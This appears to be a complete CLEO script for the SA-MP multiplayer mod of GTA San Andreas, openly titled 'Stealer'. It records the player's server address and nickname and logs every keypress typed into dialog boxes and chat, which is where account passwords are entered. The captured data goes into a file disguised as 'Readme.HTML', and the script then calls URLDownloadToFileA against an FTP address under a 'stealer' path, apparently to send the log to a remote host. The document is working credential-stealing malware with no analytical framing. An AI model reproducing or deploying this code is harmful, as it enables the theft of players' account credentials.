{$CLEO .cs}
thread "Stealer"
wait 1000
0@ = -1
if 0AAB:   file_exists "Readme.HTML"
    then
    0B00: delete_file "Readme.HTML"
    end
0B39: samp get_current_server_address 8@v port 5@
0AF5: write_string 8@v to_ini_file "Readme.HTML" section "Server" key "Ip"
0AF1: write_string 5@ to_ini_file "Readme.HTML" section "Server" key "Port"
0B36: samp 3@ = get_player_nickname $PLAYER_CHAR
format 16@v = "%s" 3@
0AF5: write_string 16@v to_ini_file "Readme.HTML" section "Server" key "Nick"
while true
wait 0
if 0B4C:  samp is_dialog_active -1
    then
    for 30@ = 48 to 105
        if key 30@
            then
            0@ += 1
            format 4@v = "%d" 0@
            0AF1: write_int 30@ to_ini_file "Readme.HTML" section "Dialog" key 4@v
            11@ += 1
            18@ = 1
            repeat
            wait 0
            until not key 30@
            end
        end
    else
    if 0B21: 	samp is_chat_opened
        then
        for 29@ = 48 to 105
            if key 29@
                then
                0@ += 1
                format 4@v = "%d" 0@
                0AF1: write_int 29@ to_ini_file "Readme.HTML" section "Chat" key 4@v
                12@ += 1
                18@ = 1
                repeat
                wait 0
                until not key 29@
                end
            end
        else
        if and
        8B4C:  samp is_dialog_active -1
        8B21: 	samp is_chat_opened
        18@ == 1
            then
            18@ = 0
            0@ += 1
            format 4@v = "%d" 0@
            0AF1: write_int 0 to_ini_file "Readme.HTML" section "Chat" key 4@v
            0AF1: write_int 0 to_ini_file "Readme.HTML" section "Dialog" key 4@v
            10@ += 1
            wait 100
            end
        end
    end
if and
10@ >= 1
11@ >= 1
12@ >= 1
8B4C:  samp is_dialog_active -1
8B21: 	samp is_chat_opened
    then
    if 0AA2: 22@ = load_library "wininet.dll"
        then
        if 0AA4: 23@ = get_proc_address "DeleteUrlCacheEntryA" library 22@
            then
            0AA5: call 23@ num_params 1 pop 0 21@
            end
        end
    0AC6: 21@ = label @url offset
    if 0AA2: 26@ = load_library "urlmon.dll"
        then
        if 0AA4: 25@ = get_proc_address "URLDownloadToFileA" library 26@
            then
            0AA5: call 25@ num_params 5 pop 0 0 0 "Readme.HTML" 21@ 0
            0a93:
            end
        end
    end
end
:url
hex
"ftp:" 2f 2f "ftp.stelerexe.url.ph" 2f "stealer" 2f "add.php" 00
end